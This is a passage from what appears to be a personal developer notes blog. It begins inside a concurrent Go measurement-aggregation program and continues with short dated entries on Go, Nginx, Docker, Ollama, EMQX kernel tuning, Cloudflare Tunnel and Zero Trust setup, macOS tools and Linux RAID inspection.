 b = decimal.New(m.maxT.Load(), -1).BytesToFixed(b, 1)
 count++

 fmt.Print(string(b))
 // fmt.Printf("%s=%s/%s/%s", m.nameBuf[0:m.nameLen], decimal.New(m.minT.Load(), -1).StringFixed(1), decimal.New(m.sumT.Load(), -1).Div(decimal.NewFromInt(m.countT.Load()-1)).StringFixed(1), decimal.New(m.maxT.Load(), -1).StringFixed(1))
 count++
 }
 fmt.Println("}")
}

func (res *measurements) processChunk(data []byte) {
 var total int64

 // assume valid input
 for len(data) > 0 {
 i := 0

 // compute FNV-1a hash
 idHash := uint64(fnv1aOffset64)
 for j, b := range data {
 if b == ';' {
 i = j
 break
 }

 // calculate FNV-1a hash
 idHash ^= uint64(b)
 idHash *= fnv1aPrime64
 }
 if idHash == 0 {
 idHash = uint64(len(data))
 }

 idData := data[:i]

 i++ // now i points to temperature

 var temp int64
 // parseNumber
 {
 negative := data[i] == '-'
 if negative {
 i++
 }

 temp = int64(data[i]-'0')
 i++

 if data[i] != '.' {
 temp = temp*10 + int64(data[i]-'0')
 i++
 }
 i++ // data[i] is '.'
 temp = temp*10 + int64(data[i]-'0')
 if negative {
 temp = -temp
 }

 data = data[i+2:]
 }

 // get measurement
 {
 i := idHash & uint64(capacity-1)
 entry := &res.results[i]

 for {
 if entry.hash.CompareAndSwap(0, idHash) {
 // make sure no race occurs as entry may be updated meanwhile as hash has been updated
 if entry.countT.Add(1) == 1 {
 entry.nameLen = len(idData)
 copy(entry.nameBuf[:], idData)
 entry.minT.Store(temp)
 entry.maxT.Store(temp)
 entry.sumT.Store(temp)
 entry.countT.Add(1) // unlock for update below
 } else {
 // wait for countT to be at least 2 for entry init to be complete
 for entry.countT.Load() < 2 {}

 // update existing entry
 minT := entry.minT.Load()
 for minT > temp {
 if entry.minT.CompareAndSwap(minT, temp) {
 break
 } else {
 minT = entry.minT.Load()
 }
 }
 maxT := entry.maxT.Load()
 for maxT < temp {
 if entry.maxT.CompareAndSwap(maxT, temp) {
 break
 } else {
 maxT = entry.maxT.Load()
 }
 }
 entry.sumT.Add(temp)
 entry.countT.Add(1)
 }
 break
 } else if entry.hash.Load() == idHash {
 // the entry is found and may be being updated by another thread
 // wait for countT to be at least 2 for entry init to be complete
 for entry.countT.Load() < 2 {}

 // now that name has been updated, check it is matching
 if len(idData) == entry.nameLen /* bytes.Compare(idData, entry.nameBuf[0:entry.nameLen]) == 0 */ {
 // update existing entry
 minT := entry.minT.Load()
 for minT > temp {
 if entry.minT.CompareAndSwap(minT, temp) {
 break
 } else {
 minT = entry.minT.Load()
 }
 }
 maxT := entry.maxT.Load()
 for maxT < temp {
 if entry.maxT.CompareAndSwap(maxT, temp) {
 break
 } else {
 maxT = entry.maxT.Load()
 }
 }
 entry.sumT.Add(temp)
 entry.countT.Add(1)

 break
 } else {
 // name does not match idData so jump to next entry
 i = (i + delta) & uint64(capacity-1)
 entry = &res.results[i]
 }
 } else {
 i = (i + delta) & uint64(capacity-1)
 entry = &res.results[i]
 }
 }
 }

 total++
 }

 res.total.Add(total)
}

func (entry *measurement) update(temp int64) {
 minT := entry.minT.Load()
 for minT > temp {
 if entry.minT.CompareAndSwap(minT, temp) {
 break
 } else {
 minT = entry.minT.Load()
 }
 }
 maxT := entry.maxT.Load()
 for maxT < temp {
 if entry.maxT.CompareAndSwap(maxT, temp) {
 break
 } else {
 maxT = entry.maxT.Load()
 }
 }
 entry.sumT.Add(temp)
 entry.countT.Add(1)
}

Python's many command-line utilities

Sat, 06 Jul 2024 20:39:01 +0800

Python’s many command-line utilities

These are Python’s most helpful general-purpose command-line tools.

Command	Purpose	More
`python -m http.server`	Start a simple web server	Video
`python -m webbrowser`	Launch your web browser	Docs
`python -m json.tool`	Nicely format JSON data	Docs
`python -m calendar`	Show a command-line calendar	Docs

`http.server`

Running the http.server module as a script will start a web server on port 8000 that hosts files from the current directory. I use this all the time to preview Sphinx documentation sites (especially when using Sphinx’s dirhtml option which is all about subdirectories of index.html files).

Go leetcode

Thu, 20 Jun 2024 18:15:00 +0800

https://books.halfrost.com/leetcode/

Nginx if 避坑指南

Sat, 15 Jun 2024 19:55:10 +0800

if 指令由 rewrite 模块提供，显然它主要是用于 URL 重写领域。典型的 if 用法如下：

http {
 server {
 listen 8080;

 if ($http_user_agent ~ MSIE) {
 rewrite ^(.*)$ /msie/$1 break;
 }

 if ($request_method = POST) {
 return 405;
 }
 }
}

上例中第一个 if 检查如果 user agent 字符串中包含 MSIE，就把 URL 重写为 /msie 开头的路径，这样就可以给微软的 IE 浏览器提供特供版本内容。

第二个 if 检查当前请求的 HTTP 方法，如果是 POST 请求则直接返回 405 状态码。

以上就是 if 最典型的用法，也是 Nginx 最初设想的用法～但很快就被用户玩坏了 😂

天下苦静态配置久矣，Nginx 终于支持动态配置了 👏 这个 if 不就是 c 语言里的条件判断吗？大家玩起来 🎢

Mount AWS S3 Bucket On Amazon EC2

Sun, 09 Jun 2024 15:37:30 +0800

Mount AWS S3 Bucket On Amazon EC2

Use Cases

Data Backup and Archiving: Efficiently store and retrieve data from S3 to perform reliable backups and long-term archiving.
Big Data and Analytics: Directly access large datasets in S3 for seamless data processing and analytics.
Web Hosting and Content Distribution: Serve static content from S3 to host websites and media files efficiently.
Log Collection and Analysis: Centrally store logs in S3 for easy log analysis and monitoring.
File Sharing and Collaboration: Share and collaborate on files among multiple EC2 instances using S3 as a shared data repository.

Prerequisites

WebP Cloud uses Cloudflare Workers to fetch content from the origin server in order to protect the origin server and start providing origin fetch time information.

Sun, 09 Jun 2024 10:49:45 +0800

WebP Cloud uses Cloudflare Workers to fetch content from the origin server in order to protect the origin server and start providing origin fetch time information.

Emoji Regular expression

Sun, 19 May 2024 14:37:00 +0800

Emoji Regular expression

/\p{Emoji}/u

既然是匹配 Emoji，那么 loneProperty (\p{loneProperty}) 就应该是 Emoji ? 实际测试并不符合需求，因为在 Emoji 官方文档中， 123456789*# 也是被看作是 Emoji，如果用这个正则的话，就会把数字也认为是 Emoji，不符合只排除特殊表情的要求。

/\p{Extended_Pictographic}/u

而 Extended_Pictographic 表示的 Emoji 才是我们认为的那些表情符号。

Prometheus relabeling and linux metrics

Tue, 14 May 2024 13:49:00 +0800

Adding new label

- target_label: "foo"
 replacement: "bar"

metrics

rkB/s: rate(node_disk_read_bytes_total[*]) Unit: bytes per second
wkB/s: rate(node_disk_written_bytes_total[*]) Unit: bytes per second

LLMs Hackmd Docs

Fri, 10 May 2024 10:08:00 +0800

LM STUDIO
chromadb/chroma
ollama/ollama
mintplexlabs/anythingllm

More Powerful Go Execution Tracing

Tue, 07 May 2024 11:45:57 +0800

More Powerful Go Execution Tracing

runtime/trace

golang.org/x/exp/trace

Flight Recording

// Set up the flight recorder
fr := trace.NewFlightRecorder()
fr.Start()
// Set up and run the HTTP server
var once sync.Once
http.HandleFunc("/my-endpoint", func(w http.ResponseWriter, r *http.Request) {
 start := time.Now()
 // Do some work
 doWork(w, r)
 // Got a long-running request, take a snapshot
 if time.Since(start) > 300*time.Millisecond {
 // We only do this once for simplicity; you can do it multiple times
 once.Do(func() {
 // Capture snapshot
 var b bytes.Buffer
 _, err = fr.WriteTo(&b)
 if err != nil {
 log.Print(err)
 return
 }
 // Write snapshot to file
 if err := os.WriteFile("trace.out", b.Bytes(), 0o755); err != nil {
 log.Print(err)
 return
 }
 })
 }
})
log.Fatal(http.ListenAndServe(":8080", nil))

Trace Reader API

// Start reading trace data from stdin.
r, err := trace.NewReader(os.Stdin)
if err != nil {
 log.Fatal(err)
}
var blocked int
var blockedOnNetwork int
for {
 // Read event
 ev, err := r.ReadEvent()
 if err == io.EOF {
 break
 } else if err != nil {
 log.Fatal(err)
 }
 // Handle it
 if ev.Kind() == trace.EventStateTransition {
 st := ev.StateTransition()
 if st.Resource.Kind == trace.ResourceGoroutine {
 id := st.Resource.Goroutine()
 from, to := st.GoroutineTransition()
 // Find blocked goroutines and count them
 if from.Executing() && to == trace.GoWaiting {
 blocked++
 if strings.Contains(st.Reason, "network") {
 blockedOnNetwork++
 }
 }
 }
 }
}

// Print the values we need
p := 100 * float64(blockedOnNetwork) / float64(blocked)
fmt.Printf("%2.3f%% instances of goroutines blocking were to block on the network\n", p)

Taide - training data

Sat, 27 Apr 2024 17:10:00 +0800

Taide - training data

Run llama3

Thu, 25 Apr 2024 10:14:00 +0800

Docker-compose

version: "3.8"

services:
 ollama:
 image: ollama/ollama:latest
 container_name: ollama
 restart: unless-stopped
 volumes:
 - ./ollama/ollama:/root/.ollama
 tty: true
 ports:
 - 11434:11434
 networks:
 - ollama-docker
 # deploy:
 # resources:
 # reservations:
 # devices:
 # - driver: nvidia
 # count: 1
 # capabilities: [gpu]
 ollama-webui:
 image: ghcr.io/ollama-webui/ollama-webui:main
 container_name: ollama-webui
 restart: unless-stopped
 volumes:
 - ./ollama/ollama-webui:/app/backend/data
 ports:
 - 8080:8080
 environment:
 - "/ollama/api=http://ollama:11434/api"
 extra_hosts:
 - host.docker.internal:host-gateway
 networks:
 - ollama-docker

networks:
 ollama-docker:

Setup

# Run docker-compose
docker-compose up -d

# Pull model(https://ollama.com/library)
docker exec -it ollama /bin/bash
ollama pull llama3

Chat with Web-UI

port defined in docker-compose.yml ollama-webui.ports

Go 1.21 GA PGO Optimization You Can't Grasp in One Read — A Try on WebP Server Go

Thu, 25 Apr 2024 09:22:00 +0800

Go 1.21 GA PGO Optimization You Can’t Grasp in One Read — A Try on WebP Server Go

Go Style Decisions - Pass values

Sat, 13 Apr 2024 17:38:00 +0800

Go Style Decisions - Pass values

Do not pass pointers as function arguments just to save a few bytes. If a function reads its argument x only as *x throughout, then the argument shouldn’t be a pointer. Common instances of this include passing a pointer to a string (*string) or a pointer to an interface value (*io.Reader). In both cases, the value itself is a fixed size and can be passed directly.

Go Generics Beginner Notes

Wed, 07 Feb 2024 19:52:22 +0800

Go Generics Beginner Notes

Custom Constraints

// Addable allows only int or float64 types
type Addable interface {
 int | float64
}

func Add[T Addable](a, b T) T {
 return a + b
}

What ~ Means ~ represents all types that share the same underlying type as the specified type. When you use ~ in a type parameter constraint, you define a type set that includes all types whose underlying type matches the specified type.

type MyInt int
type YourInt int

func PrintInt[T ~int](t T) {
 fmt.Println(t)
}

func main() {
 var a int = 5
 var b MyInt = 10
 var c YourInt = 15

 PrintInt(a)
 PrintInt(b)
 PrintInt(c)
}

Tracking SQLite Database Changes in Git

Wed, 07 Feb 2024 19:20:15 +0800

First, add a diff type called “sqlite3” to your config. The simplest way is to just run these commands:

git config diff.sqlite3.binary true git config diff.sqlite3.textconv "echo .dump | sqlite3"

Alternatively, you can add this snippet to your ~/.gitconfig or .git/config in your repository:

[diff "sqlite3"] binary = true textconv = "echo .dump | sqlite3"

Next, create a file called .gitattributes if it’s not already present and add this line:

LLM Visualization

Sun, 21 Jan 2024 12:40:00 +0800

Tuning EMQX to Scale to One Million Concurrent Connection on Kubernetes

Sun, 21 Jan 2024 12:34:35 +0800

Tuning EMQX to Scale to One Million Concurrent Connection on Kubernetes

llamafile - Distribute and run LLMs with a single file.

Sun, 21 Jan 2024 09:30:54 +0800

Database Fundamentals

Mon, 01 Jan 2024 18:46:17 +0800

Database Fundamentals

A python script that allows your terminal to snow.

Sun, 24 Dec 2023 15:40:00 +0800

A python script that allows your terminal to snow.

docker run --rm -ti sontek/snowmachine tree --color rainbow --particle "*" --snow true --lights-color rainbow

Container security fundamentals

Wed, 04 Oct 2023 09:06:00 +0800

Tuning EMQX to Scale to One Million Concurrent Connection on Kubernetes

Wed, 27 Sep 2023 10:36:00 +0800

Linux Kernel Tuning

node level, basically the non-namespaced sysctls

# Sets the maximum number of file handles allowed by the kernel
sysctl -w fs.file-max=2097152

# Sets the maximum number of open file descriptors that a process can have
sysctl -w fs.nr_open=2097152

namespaced sysctls

# Sets the maximum number of connections that can be queued for acceptance by the kernel.
sysctl -w net.core.somaxconn=32768

# Sets the maximum number of SYN requests that can be queued by the kernel
sysctl -w net.ipv4.tcp_max_syn_backlog=16384

# Setting the minimum, default and maximum size of TCP Buffer
sysctl -w net.ipv4.tcp_rmem='1024 4096 16777216'
sysctl -w net.ipv4.tcp_wmem='1024 4096 16777216'

# Setting Parameters for TCP Connection Tracking
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_time_wait=30

# Controls the maximum number of entries in the TCP time-wait bucket table
sysctl -w net.ipv4.tcp_max_tw_buckets=1048576

# Controls Timeout for FIN-WAIT-2 Sockets:
sysctl -w net.ipv4.tcp_fin_timeout=15

There are some more namespaced sysctls that will improve the performance but because of an active issue we are not able to set them on the container level

# Sets the size of the backlog queue for the network device
sysctl -w net.core.netdev_max_backlog=16384

# Amount of memory that is allocated for storing incoming and outgoing data for a socket
sysctl -w net.core.rmem_default=262144
sysctl -w net.core.wmem_default=262144

# Setting the maximum amount of memory for the socket buffers
sysctl -w net.core.rmem_max=16777216
sysctl -w net.core.wmem_max=16777216
sysctl -w net.core.optmem_max=16777216

Erlang VM Tuning

## Erlang Process Limit
node.process_limit = 2097152

## Sets the maximum number of simultaneously existing ports for this system
node.max_ports = 2097152

EMQX Broker Tuning

# Other configuration…
EMQX_LISTENER__TCP__EXTERNAL: "0.0.0.0:1883"
EMQX_LISTENER__TCP__EXTERNAL__ACCEPTORS: 64
EMQX_LISTENER__TCP__EXTERNAL__MAX_CONNECTIONS: 1024000

Install Chrome OS

Wed, 27 Sep 2023 09:36:00 +0800

老電腦別丟掉！安裝 Google 免費作業系統安裝教學（Chrome OS Flex /CloudReady）

Yongling Foundation AI Forum: How AI Shapes the Future of Humanity

Wed, 27 Sep 2023 09:36:00 +0800

https://www.youtube.com/watch?v=M3z6gI1AEns

Golang Tips

Tue, 26 Sep 2023 22:15:00 +0800

Go Programming Patterns: Slices, Interfaces, Time, and Performance

Go is a high-performance language, but that does not mean we can ignore performance. Here are some tips related to programming and performance.

If you need to convert numbers to strings, strconv.Itoa() is about twice as fast as fmt.Sprintf().
Avoid converting String to []Byte where possible. This conversion hurts performance.
If you use append() on a slice inside a for-loop, expand the slice capacity ahead of time to avoid reallocations and automatic growth by powers of two, which can waste memory.
Use StringBuffer or StringBuild to concatenate strings; they are three to four orders of magnitude faster than + or +=.
Use concurrent goroutines where possible, and use sync.WaitGroup to synchronize concurrent work.
Avoid allocating in hot paths; it makes the GC busy. Use sync.Pool to reuse objects.
Use lock-free operations and avoid mutexes when possible; use sync/Atomic. (See Lock-Free Queue Implementation or Lock-Free Hashmap Implementation.)
Use I/O buffering; I/O is very slow. bufio.NewWrite() and bufio.NewReader() improve performance.
For fixed regex patterns in a for-loop, use regexp.Compile() to precompile; it improves performance by two orders of magnitude.
If you need higher-performance protocols, consider protobuf or msgp instead of JSON, because JSON serialization/deserialization uses reflection.
When using maps, integer keys are faster than string keys because integer comparisons are faster.

datavizproject

Tue, 26 Sep 2023 13:29:00 +0800

https://datavizproject.com

朋友旅行防止絕交檢查表

Tue, 26 Sep 2023 13:29:00 +0800

https://travel-questions.gnehs.net/

Cloudflare Zero Trust

Tue, 26 Sep 2023 09:01:00 +0800

1. Set up the client

Create device enrollment rules

Create device enrollment rules to determine which devices can enroll to Zero Trust organization.

Set device enrollment permissions

In Zero Trust, go to Settings > WARP Client > Device enrollment > Device enrollment permissions > Manage.
Rules > Policies > Add a rule > Include > Selector > Emails ending in > Value > @ruru910.com.

2. Route private network IPs through WARP

In Zero Trust, go to Settings > WARP Client > Device settings > Profile settings > Profile name > Default > Configure.
Configure settings:
1. Enabled: Captive portal detection, Mode switch, Allow device to leave organization, Allow updates.
2. Service mode: Gateway with WARP.
3. Local Domain Fallback > Manage > Domain > nas.ruru910.com.
4. Split Tunnels: Exclude IPs and domains > Manage.
  - Delete the IP range of nas.ruru910.com.

3. Filter network traffic with Gateway

1. Enable the Gateway proxy

In Zero Trust, go to Settings > Network.
1. Gateway Logging: Capture all.
2. Firewall: Proxy(TCP, UDP, ICMP), WARP to WARP, AV inspection.

2. Create Zero Trust policies

Go to Access > Applications > Add an application > Private Network > Application Type > Destination IP.
For Value, enter the IP address for your application (for example, 10.128.0.7).
Modify policy > identify > Selector > User Email > in > @ruru910.com.

Cloudflare Tunnel on Synology

Mon, 25 Sep 2023 22:01:00 +0800

CLOUDFLARE tunnel on SYNOLOGY. (the raw way)

Setup Synology

Create a directory in docker directory, such as cloudflare-tunnel.
Download cloudflared/cloudflared image to registry.
ssh to admin@synology
Change cloudflare-tunnel owner, sudo chown -R 65532:65532 /volume1/docker/cloudflare-tunnel.

Run containers

- `cloudflared tunnel login`

Run container and mount volume docker/cloudflare-tunnel:/home/nonroot/.cloudflared.
Select Use the same network as Docker Host in network tab.
Add command tunnel login in envorinment tab.
Go to container log, and copy login url.
Paste url to browser and authorize the zone.
Export the container setting json to the directory cloudflare-tunnel.

- `cloudflared tunnel create synology-tunnel`

Edit the container setting json in the the directory cloudflare-tunnel, modify cmd. tunnel create synology-tunnel.
Import the container setting json and run a new container.
The container will stop and create tunnel config json in cloudflare-tunnel.
Create config.yml and write ingress rules.
In config.yml, tunnel value is the same as the tunnel config json name, and credentials-file is /home/nonroot/.cloudflared/tunnel config json
Export the second container setting json to the directory cloudflare-tunnel.

- `cloudflared tunnel route dns synology-tunnel synology.ruru910.com`

Edit the second container setting json in the the directory cloudflare-tunnel, modify cmd. tunnel route dns synology-tunnel synology.ruru910.com.
Import the second container setting json and run a new container.
The container will stop and create a dns record mapping domain to the tunnel.

- `cloudflared tunnel run synology-tunnel`

Edit the second container setting json in the the directory cloudflare-tunnel, modify cmd. tunnel run synology-tunnel.
Import the second container setting json and run a new container.
The tunnel now is connectable.

Go Patterns

Sat, 16 Sep 2023 16:08:12 +0800

Faster Multi-Platform Builds: Dockerfile Cross-Compilation Guide

Mon, 04 Sep 2023 10:31:54 +0800

Faster Multi-Platform Builds: Dockerfile Cross-Compilation Guide

method

docker buildx create --use
FROM --platform=linux/amd64 debian / FROM --platform=$BUILDPLATFORM debian
variables

BUILDPLATFORM — matches the current machine. (e.g. linux/amd64)
BUILDOS — os component of BUILDPLATFORM, e.g. linux
BUILDARCH — e.g. amd64, arm64, riscv64
BUILDVARIANT — used to set ARM variant, e.g. v7
TARGETPLATFORM — The value set with --platform flag on build
TARGETOS - OS component from --platform, e.g. linux
TARGETARCH - Architecture from --platform, e.g. arm64
TARGETVARIANT

example

before

FROM golang:1.17-alpine AS build
WORKDIR /src
COPY . .
RUN go build -o /out/myapp .

FROM alpine
COPY --from=build /out/myapp /bin

after

FROM --platform=$BUILDPLATFORM golang:1.17-alpine AS build
WORKDIR /src
ARG TARGETOS TARGETARCH
RUN --mount=target=. \
 --mount=type=cache,target=/root/.cache/go-build \
 --mount=type=cache,target=/go/pkg \
 GOOS=$TARGETOS GOARCH=$TARGETARCH go build -o /out/myapp .

FROM alpine
COPY --from=build /out/myapp /bin

How to deal with a 50GB large csv file in r language?

Thu, 20 Jul 2023 15:44:11 +0800

How to deal with a 50GB large csv file in r language?

question

all <- read.csv.ffdf(
 file="<path of large file>",
 sep = ",",
 header=TRUE,
 VERBOSE=TRUE,
 first.rows=10000,
 next.rows=50000,
 )

answer

library(sqldf)

iris2 <- read.csv.sql("iris.csv",
 sql = "select * from file where Species = 'setosa' ")

15 Rules of Channels and Their Implementation

Thu, 22 Jun 2023 21:25:05 +0800

15 Rules of Channels and Their Implementation

Operation rules

Operation	nil	Closed channel	Open buffered channel	Open unbuffered channel
Close	panic	panic	Close succeeds; buffered values can be read. After buffer drains, further reads return the zero value of the channel type.	Close succeeds; further reads return the zero value of the channel type.
Receive	Block	Non-blocking; returns the zero value of the channel type	Non-blocking; reads values normally	Block
Send	Block	panic	Non-blocking; writes values normally	Block

Compile-time rules

Operation	Channel type	Result
Receive	Send-only channel	Compile error
Send	Receive-only channel	Compile error
Close	Receive-only channel	Compile error

Create macOS DMG and Bootable ISO

Mon, 12 Jun 2023 10:04:20 +0800

Create macOS DMG and Bootable ISO

dmg

AppStore ==> search ‘install macos’ ==> get installer ==> du -sh /Applications/Install\ macOS\ Mojave.app/
Disk Utility ==> File ==> New Image ==> Blank Image
1. Size: installer size
2. Format: Mac OS Extended (Journaled)
3. Partition: Single partition - GUID Partition Map
4. Image Format: read/write disk image
5. same as hdiutil create -o ~/Desktop/macOS\ Mojave -size 6500m -layout SPUD -fs HFS+J
sudo /Applications/Install\ macOS\ Mojave.app/Contents/Resources/createinstallmedia --volume /Volumes/macOS\ Mojave

iso

hdiutil convert ~/Desktop/macOS\ Mojave.dmg -format UDTO -o ~/Desktop/macOS\ Mojave.iso
mv ~/Desktop/macOS\ Mojave.iso.cdr ~/Desktop/macOS\ Mojave.iso

Synology: Your NAS RAM Details at a Glance

Mon, 08 May 2023 10:55:23 +0800

Synology: Your NAS RAM Details at a Glance

step1

Control Panel / Task Scheduler / Create / Scheduled Task / User-defined script

step2

General: In the Task field type in RAM Details. Uncheck the “Enabled” option. Select root User.
Schedule: Select Run on the following date then select “Do not repeat”.
Task Settings: Check “Send run details by email”, add your email then copy paste the code below in the Run command area. After that, click OK.

Zsh Config Files and Priority

Mon, 08 May 2023 10:43:10 +0800

Zsh Config Files and Priority

Zsh environment variable config files:

.zprofile
.zlogin
.zshrc
.zshenv
.zlogout

.zshrc is used for overall shell customization

.zprofile and .zlogin are similar. They both set environment variables for login shells, but their load timing differs. .zprofile is based on Bash’s .bash_profile, while .zlogin is the CSH-style .login legacy name.
.zshrc sets environment variables for interactive shells. It loads after .zprofile. Typically used for $PATH, $PROMPT, aliases, functions, etc.
.zshenv is always read, so you can set environment variables like $PATH or $EDITOR there, but it is generally not used.
.zlogout is loaded when a session logs out, which is good for cleanup, such as resetting terminal titles.

Zsh loads ~/.zprofile at login (login shell).

My Productivity Mac Settings and Apps

Thu, 20 Apr 2023 14:52:08 +0800

My Productivity Mac Settings and Apps

Control dark mode per app

https://nightowlapp.co/

brew install --cask nightowl

Control external monitor brightness with the keyboard - MonitorControl

https://github.com/MonitorControl/MonitorControl

brew install --cask monitorcontrol

Raycast

Raycast is a free and more powerful Alfred. You can do most things with the keyboard and quickly launch features with Option + Space. It includes many features that other apps charge for.

Launch apps quickly
Quick dictionary lookup and calculator
Built-in clipboard history search
Window management like Magnet, with shortcuts to resize and move windows
Calendar integration: quickly open Google Meet with the correct account when a meeting starts
Write shell/nodejs/applescript to bind shortcuts for quick actions
Rich extension store

https://www.raycast.com/

Some Software Design Principles

Tue, 18 Apr 2023 13:58:38 +0800

Some Software Design Principles

1. Don’t Repeat Yourself (DRY)

2. Keep It Simple, Stupid (KISS)

Making something complex is easy, but making something complex simple is difficult.

3. Program to an interface, not an implementation

Prefer composition over inheritance
Dependency inversion principle

4. Command-Query Separation (CQS)

Query: when a method returns a value to answer a question
Command: when a method changes the state of an object

5. You Ain’t Gonna Need It (YAGNI)

Only design and implement what is necessary. Avoid overengineering. Implement what you need now; add more when needed later.

On High Availability Systems

Tue, 18 Apr 2023 10:24:00 +0800

On High Availability Systems

Item / Mechanism	Backups	M/S	MM	2PC	Paxos
Consistency	Weak	Eventual	Eventual	Strong	Strong
Transactions	No	Full	Local	Full	Full
Latency	Low	Low	Low	High	High
Throughput	High	High	High	Low	Medium
Data loss	Lots	Some	Some	None	None
Failover	Down	Read only	Read only	Read/write	Read/write

This table essentially covers the foundational solutions for high-availability systems today. M/S and MM are not hard to implement, but have many issues. 2PC suffers from poor performance, while Paxos is too complex and difficult to implement.

Everything About MTU and MSS

Wed, 12 Apr 2023 12:48:12 +0800

Everything About MTU and MSS

Pitfalls When Parsing Binary Data in Go

Fri, 20 Jan 2023 13:48:27 +0800

Pitfalls When Parsing Binary Data in Go

for {
 buf := make([]byte, bufSize)
 n, err := r.Read(buf)
 if err == io.EOF {
 return
 } else if err != nil {
 aerr.Store(err)
 return
 }
 ch <- buf[:n]
}

The code returns immediately when err is io.EOF, which is the most likely problem. The docs say:

Callers should always process the n > 0 bytes returned before considering the error err. Doing so correctly handles I/O errors that happen after reading some bytes and also both of the allowed EOF behaviors.

Rust Easy! Modern Cross-platform Command Line Tools to Supercharge Your Terminal

Fri, 13 Jan 2023 16:51:01 +0800

Rust Easy! Modern Cross-platform Command Line Tools to Supercharge Your Terminal

Alacritty

Alacritty is a cross-platform modern terminal emulator with sensible defaults. It is GPU accelerated, super fast, and highly configurable. You can use it on Linux, macOS, and Windows.

bat

bat is one of my favorite tools from this list. It’s a replacement for cat.

dust

Dust is an alternative for the du command. It is fast and has a better UX with nice visualization for disk usage.

Windows SSH Setup

Tue, 03 Jan 2023 12:36:00 +0800

The default shell is cmd. The docs say to change the ansible_shell_type variable if needed. This should be set as a host variable in inventory: ansible_shell_type, with value cmd or powershell.
Add the ansible_connection host variable in inventory to indicate SSH connections. (192.168.192.11 ansible_user=Administrator ansible_connection=ssh ansible_shell_type=cmd )
You may need to add remote_tmp in ansible.cfg and set it to C:\TEMP.
In playbooks, use modules prefixed with win_, or use the raw module.

Terraform Provider Development Notes

Wed, 28 Dec 2022 12:36:00 +0800

Terraform Provider Development Notes

Inspecting Web Views in macOS

Fri, 02 Dec 2022 13:51:24 +0800

Inspecting Web Views in macOS

defaults write NSGlobalDomain WebKitDeveloperExtras -bool true
defaults write -g WebKitDeveloperExtras -bool YES

Take Screenshots with Selenium in Go

Fri, 02 Dec 2022 13:40:19 +0800

Take Screenshots with Selenium in Go

package main

import (
 "fmt"
 log "github.com/sirupsen/logrus"
 "github.com/tebeka/selenium"
 "io/ioutil"
)

const (
 chromeDriverPath = "/usr/local/bin/chromedriver"
 port = 9515
)

func main() {
 var opts []selenium.ServiceOption
 selenium.SetDebug(false)
 service, err := selenium.NewChromeDriverService(chromeDriverPath, port, opts...)
 if err != nil {
 panic(err) // panic is used only as an example and is not otherwise recommended.
 }
 defer service.Stop()

 caps := selenium.Capabilities{"browserName": "chrome"}
 // Full-page screenshot
 // Get page width/height, resize the browser window, then take a screenshot.
 // Note: only headless mode allows arbitrary window sizes; otherwise the max height cannot exceed your screen resolution.
 // chromeCaps := chrome.Capabilities{
 // Path: "",
 // Args: []string{
 // "--headless",
 // },
 // }
 // caps.AddChrome(chromeCaps)

 wd, err := selenium.NewRemote(caps, fmt.Sprintf("http://localhost:%d/wd/hub", port))
 if err != nil {
 panic(err)
 }
 defer wd.Quit()

 // ExecuteScript can run JavaScript. The return value is interface{}, so assert to float then convert to int.
 // height, _ := wd.ExecuteScript("return document.body.parentNode.scrollHeight", nil)
 // var realHeight = int(height.(float64))
 // Then set the window size.
 // wd.ResizeWindow("", 1920, realHeight)

 if err := wd.Get("https://github.com/tgbot-collection/archiver"); err != nil {
 panic(err)
 }

 screenshot, err := wd.Screenshot()
 if err != nil {
 log.Errorln(err)

 }
 ioutil.WriteFile("screenshot.png", screenshot, 0644)

}

Full-page screenshot

Get the page width/height, resize the browser window accordingly, and then take the screenshot. Note that only headless mode allows arbitrary window sizes; otherwise the maximum height cannot exceed your display resolution.

Ancient Time Units

Tue, 29 Nov 2022 11:21:02 +0800

Ancient Time Units

Twelve Double-Hour Time Reference

Time Period	Ancient Name	Modern Time	Initial / Exact Time	Other Names (full)
子時	夜半	23:00-01:00	子初 23:00 子正 00:00	子夜、中夜、午夜、夜分、夜半、未旦、宵分、未央
丑時	雞鳴	01:00-03:00	丑初 01:00 丑正 02:00	荒雞
寅時	平旦	03:00-05:00	寅初 03:00 寅正 04:00	平明、旦明、黎明、早旦、日旦、昧旦、騎旦、早晨、早夜、早朝、昧爽、旦日、旦時
卯時	日出	05:00-07:00	卯初 05:00 卯正 06:00	日上、日生、日升、日始、日晞、旭日、破曉
辰時	食時	07:00-09:00	辰初 07:00 辰正 08:00	早食、宴食、蚤食
巳時	隅中	09:00-11:00	巳初 09:00 巳正 10:00	日隅、禺中、日禺
午時	日中	11:00-13:00	午初 11:00 午正 12:00	日正、日午、日高、正午、中午、亭午、日當午、平午、平晝
未時	日昳	13:00-15:00	未初 13:00 未正 14:00	日昃、日仄、日側、日跌、日斜、日映、日央
申時	晡時	15:00-17:00	申初 15:00 申正 16:00	餔時、日餔、日晡、日鋪、日稷、日夕、夕食
酉時	日入	17:00-19:00	酉初 17:00 酉正 18:00	日沒、日沉、日西、日落、日逝、日晏、日旴、日晦、傍晚
戌時	黃昏	19:00-21:00	戌初 19:00 戌正 20:00	日夕、日末、日暮、日晚、日闇、日墮、日暗、日曛、曛黃
亥時	人定	21:00-23:00	亥初 21:00 亥正 22:00	定昏、夤夜

Night Watches

In the Han dynasty, palace guards rotated in five shifts called “five watches”. Thus, a night was divided into five watches, each equal to one time period (double-hour). Xu time is the first watch, Hai time is the second, Zi time the third, Chou time the fourth, and Yin time the fifth.

How to Detect RAID Information in Linux

Mon, 28 Nov 2022 15:36:27 +0800

How to Detect RAID Information in Linux

lspci

lspci | grep RAID
00:1f.2 RAID bus controller: Intel Corporation 82801 Mobile SATA Controller [RAID mode] (rev 04)

lshw

lshw -class storage
 *-raid
 description: RAID bus controller
 product: 82801 Mobile SATA Controller [RAID mode]
 vendor: Intel Corporation
 physical id: 1f.2
 bus info: pci@0000:00:1f.2
 logical name: scsi0
 version: 04
 width: 32 bits
 clock: 66MHz
 capabilities: raid msi pm bus_master cap_list emulated
 configuration: driver=ahci latency=0
 resources: irq:26 ioport:f0d0(size=8) ioport:f0c0(size=4) ioport:f0b0(size=8) ioport:f0a0(size=4) ioport:f060(size=32) memory:f7e36000-f7e367ff

smartctl

dmesg | grep -i scsi
[ 0.210852] SCSI subsystem initialized
[ 0.341280] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 243)
...
[ 1.213299] scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: 0 ANSI: 5
[ 1.319886] sd 0:0:0:0: [sda] Attached SCSI disk
